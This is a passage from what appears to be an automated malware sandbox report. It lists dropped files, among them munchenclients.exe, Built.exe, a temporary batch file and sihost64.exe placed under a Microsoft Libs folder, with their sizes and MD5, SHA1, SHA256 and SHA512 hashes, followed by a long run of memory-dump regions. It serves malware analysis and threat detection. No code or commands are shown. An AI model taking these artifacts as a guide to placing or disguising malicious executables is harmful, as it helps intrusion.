9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed

SHA512
4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee

Download Submit
C:\Users\Admin\AppData\Local\Temp\munchenclients.exe

Filesize
5.9MB

MD5
ea11d7c22e4b34f7acccaa5154263a6c

SHA1
1bdfc6ec9aa260783546ed35fcc996cedda7b193

SHA256
e1776f0997d5d91ca25490e8948e449fefbf4d56ef442b64cc1bf94fb680c661

SHA512
47b95e0f54fc4975788e55a784066577cd70512cd0508e8d13c256cac72f768c0d3b505411275d885108047fd1459da09ac76d567d8eeb455b3768ae1a778272

Download Submit
C:\Users\Admin\AppData\Local\Temp\splwow64.exe

Filesize
2.2MB

MD5
bfc16c7476c61d4b5a004ba97f5eccc3

SHA1
7a136debf77f394b0412d979c73e4f8af8587396

SHA256
1b343c5e48c01f376cc3887fa7000b0e69eb1894735c89b9c8d0ee1597893530

SHA512
3766067704a96a8bef769d907d39368ed3a25bba60af32b0087ae0a411c48735741af9a804926cae93eb86f520cfbbbbbd0ebb09242977d0f07179d1a6dba17e

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDC5B.tmp.bat

Filesize
162B

MD5
104ff2c7bc2cebdeea78233b1cd614cc

SHA1
58956fb1798434d422b34b03643890580e4cc113

SHA256
55400c52980c38d5f2c54551b87a2e166a233cde626f563407d36973deaecdb5

SHA512
76f3bdd4e57b3a974f8975ffdb50690b531111e2baeb777b6269b553aa744e74db0ff4f5ae2a7df9f5601c7a22bbd28bdf7eca6e8fa6704314074c12efcaee3b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ec3a478c5ec412dd89b44c219413b711

SHA1
592d003d0aeb4f6962caa4ef29e886b7602ac26c

SHA256
61dc9095f74a3b53ecf95cd86db486b287b85bba2bb146acb41f58130a4d6bd4

SHA512
34238f525a75325e4cf600f2e34bae54bf2bada6d8f942f2a42792257f02fd2bf62a1486b266d3d260e518cfa386816f06e85b1eeddcbf93687cf7959067e0f4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
fa2fd0aee87274daf7f056004789f9ea

SHA1
4b28eb8af509fe450e3b946fee301d2595872939

SHA256
e846afd995e4e3ae5ee40f354da429678513c8a61b0465893b5764262eac1018

SHA512
5438da0565ce7d24e0da163e1f6233ced2e7a4c0b27a3f7e8e2856a63b55fdcfede0710ea68cdc77d1d4c625201234077285db9975a2c0d4fdc9f58001975ae5

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\Built.exe

Filesize
5.9MB

MD5
6ef38dfd53a643a2225848759960dbac

SHA1
29cfc9715c4e978a82734459cef0ff9a1ce4ddc4

SHA256
945a4092e68d2d3a5b18b8edfd6fe23e3ee96747c05fe5a8bd98a5a3b3a34a5f

SHA512
1a31a137cf4071c30488e64abc50291c8a6435d68d5f873d7f53d08621bc346ca09065647fc3c0fa70fc269544461bab78060e9e61ff98435d70b87c28b8a4b1

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
cfe1ab1913bbd166bca480eb4e5d1364

SHA1
a1e87dd6018f244966d875054330640f6e2d9c00

SHA256
db41aa5958994bce76ea6b86083cbf634760a5b1ccdeec9c2387ec6bc33915f6

SHA512
978a65def8eadc595d34752d54f76d8638bf133d09295e763f7b42a2bd342ed334fc0b1ae3680f0bff17f1899ecb42cf50e827dd4c91d4b16bdaadcdf41e3ae4

Download Submit
memory/1560-164-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/1560-163-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/1744-216-0x00000000000A0000-0x00000000002C0000-memory.dmp

Filesize
2.1MB

Download
memory/1744-217-0x000000001B440000-0x000000001B660000-memory.dmp

Filesize
2.1MB

Download
memory/2100-271-0x00000000001E0000-0x00000000001E6000-memory.dmp

Filesize
24KB

Download
memory/2100-270-0x0000000000060000-0x0000000000066000-memory.dmp

Filesize
24KB

Download
memory/2352-156-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2352-157-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2396-255-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-239-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-269-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-264-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-267-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-235-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-249-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-262-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-260-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-259-0x000007FFFFFDD000-0x000007FFFFFDE000-memory.dmp

Filesize
4KB

Download
memory/2396-253-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-251-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-247-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-245-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-243-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-266-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-263-0x00000000000E0000-0x0000000000100000-memory.dmp

Filesize
128KB

Download
memory/2396-237-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-257-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-268-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-241-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2396-265-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2880-59-0x0000000000850000-0x00000000008BC000-memory.dmp

Filesize
432KB

Download
memory/3036-92-0x0000000000B30000-0x0000000000B3E000-memory.dmp

Filesize
56KB

Download
memory/3036-165-0x0000000000EE0000-0x0000000000F44000-memory.dmp

Filesize
400KB

Download
memory/3036-185-0x000000001A7D0000-0x000000001A7DC000-memory.dmp

Filesize
48KB

Download
memory/3036-74-0x0000000000FE0000-0x000000000104C000-memory.dmp

Filesize
432KB

Download
memory/3064-61-0x000007FEF3ED0000-0x000007FEF433E000-memory.dmp

Filesize
4.4MB

Download
memory/3064-91-0x000007FEF3ED0000-0x000007FEF433E000-memory.dmp

Filesize
4.4MB

Download